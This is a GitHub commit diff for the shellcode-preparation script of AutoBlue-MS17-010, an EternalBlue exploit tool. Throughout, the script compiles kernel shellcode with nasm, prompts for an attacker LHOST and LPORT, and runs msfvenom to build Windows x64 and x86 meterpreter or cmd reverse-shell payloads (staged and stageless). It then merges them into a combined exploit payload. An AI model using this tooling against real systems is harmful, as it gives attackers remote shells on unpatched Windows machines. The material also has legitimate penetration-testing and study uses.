mirror of
https://github.com/3ndG4me/AutoBlue-MS17-010
synced 2026-06-08 10:17:11 +00:00
Forgot to add the x86 part, now it will compile the kernel shellcode for both (#49)
* Script Enhancements for Improved Portability and Readability 🔧 I made the following changes to improve portability, readability, and organization: Replaced Double Square Brackets with Single Square Brackets: Replaced [[ ... ]] with [ ... ] to ensure compatibility with various shell interpreters. Simplified Nested If Statements: Simplified nested if statements for better readability and clarity. Used -p Option with read Command: Utilized the -p option with the read command to display a prompt message directly on the same line. 💻 Consolidated Common Code: Consolidated common code blocks to avoid repetition and improve maintainability. * Forgot to add the x86 part. --------- Co-authored-by: Casey Erdmann <14339392+3ndG4me@users.noreply.github.com>
This commit is contained in:
co-authored by
Casey Erdmann
parent
67759ed80c
commit
27363a9404
+52
-22
@@ -17,50 +17,80 @@ echo 'Compiling x86 kernel shellcode'
|
|||||||
nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin
|
nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin
|
||||||
echo kernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom? \(Y\/n\)
|
echo kernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom? \(Y\/n\)
|
||||||
read genMSF
|
read genMSF
|
||||||
|
|
||||||
if [ "$genMSF" = "y" ] || [ "$genMSF" = "Y" ]; then
|
if [ "$genMSF" = "y" ] || [ "$genMSF" = "Y" ]; then
|
||||||
read -p "LHOST for reverse connection: " ip
|
echo LHOST for reverse connection:
|
||||||
read -p "LPORT you want x64 to listen on: " portOne
|
read ip
|
||||||
read -p "LPORT you want x86 to listen on: " portTwo
|
echo LPORT you want x64 to listen on:
|
||||||
|
read portOne
|
||||||
read -p "Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell: " cmd
|
echo LPORT you want x86 to listen on:
|
||||||
|
read portTwo
|
||||||
|
echo Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell
|
||||||
|
read cmd
|
||||||
if [ "$cmd" -eq 0 ]; then
|
if [ "$cmd" -eq 0 ]; then
|
||||||
read -p "Type 0 to generate a staged payload or 1 to generate a stageless payload: " staged
|
echo Type 0 to generate a staged payload or 1 to generate a stageless payload
|
||||||
|
read staged
|
||||||
if [ "$staged" -eq 0 ]; then
|
if [ "$staged" -eq 0 ]; then
|
||||||
echo "Generating x64 meterpreter shell (staged)..."
|
echo Generating x64 meterpreter shell \(staged\)...
|
||||||
|
echo
|
||||||
|
echo msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
||||||
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
||||||
|
echo
|
||||||
|
echo Generating x86 meterpreter shell \(staged\)...
|
||||||
|
echo
|
||||||
|
echo msfvenom -p windows/meterpreter/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
|
||||||
|
msfvenom -p windows/meterpreter/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
|
||||||
elif [ "$staged" -eq 1 ]; then
|
elif [ "$staged" -eq 1 ]; then
|
||||||
echo "Generating x64 meterpreter shell (stageless)..."
|
echo Generating x64 meterpreter shell \(stageless\)...
|
||||||
|
echo
|
||||||
|
echo msfvenom -p windows/x64/meterpreter_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
||||||
msfvenom -p windows/x64/meterpreter_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
msfvenom -p windows/x64/meterpreter_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
||||||
|
echo
|
||||||
|
echo Generating x86 meterpreter shell \(stageless\)...
|
||||||
|
echo
|
||||||
|
echo msfvenom -p windows/meterpreter_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
|
||||||
|
msfvenom -p windows/meterpreter_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
|
||||||
else
|
else
|
||||||
echo "Invalid option...exiting..."
|
echo Invalid option...exiting...
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
elif [ "$cmd" -eq 1 ]; then
|
elif [ "$cmd" -eq 1 ]; then
|
||||||
read -p "Type 0 to generate a staged payload or 1 to generate a stageless payload: " staged
|
echo Type 0 to generate a staged payload or 1 to generate a stageless payload
|
||||||
|
read staged
|
||||||
if [ "$staged" -eq 0 ]; then
|
if [ "$staged" -eq 0 ]; then
|
||||||
echo "Generating x64 cmd shell (staged)..."
|
echo Generating x64 cmd shell \(staged\)...
|
||||||
|
echo
|
||||||
|
echo msfvenom -p windows/x64/shell/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
||||||
msfvenom -p windows/x64/shell/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
msfvenom -p windows/x64/shell/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
||||||
|
echo
|
||||||
|
echo Generating x86 cmd shell \(staged\)...
|
||||||
|
echo
|
||||||
|
echo msfvenom -p windows/shell/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
|
||||||
|
msfvenom -p windows/shell/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
|
||||||
elif [ "$staged" -eq 1 ]; then
|
elif [ "$staged" -eq 1 ]; then
|
||||||
echo "Generating x64 cmd shell (stageless)..."
|
echo Generating x64 cmd shell \(stageless\)...
|
||||||
|
echo
|
||||||
|
echo msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
||||||
msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
|
||||||
|
echo
|
||||||
|
echo Generating x86 cmd shell \(stageless\)...
|
||||||
|
echo
|
||||||
|
echo msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
|
||||||
|
msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
|
||||||
else
|
else
|
||||||
echo "Invalid option...exiting..."
|
echo Invalid option...exiting...
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
else
|
else
|
||||||
echo "Invalid option...exiting..."
|
echo Invalid option...exiting...
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
echo
|
||||||
echo "MERGING SHELLCODE WOOOO!!!"
|
echo MERGING SHELLCODE WOOOO!!!
|
||||||
cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin
|
cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin
|
||||||
cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin
|
cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin
|
||||||
python3 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
|
python3 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
|
||||||
else
|
else
|
||||||
echo "Okay cool, make sure you merge your own shellcode properly :)"
|
echo Okay cool, make sure you merge your own shellcode properly :\)
|
||||||
fi
|
fi
|
||||||
|
echo DONE
|
||||||
echo "DONE"
|
exit 0
|
||||||
exit 0
|
|
||||||
|
|||||||
Reference in New Issue
Block a user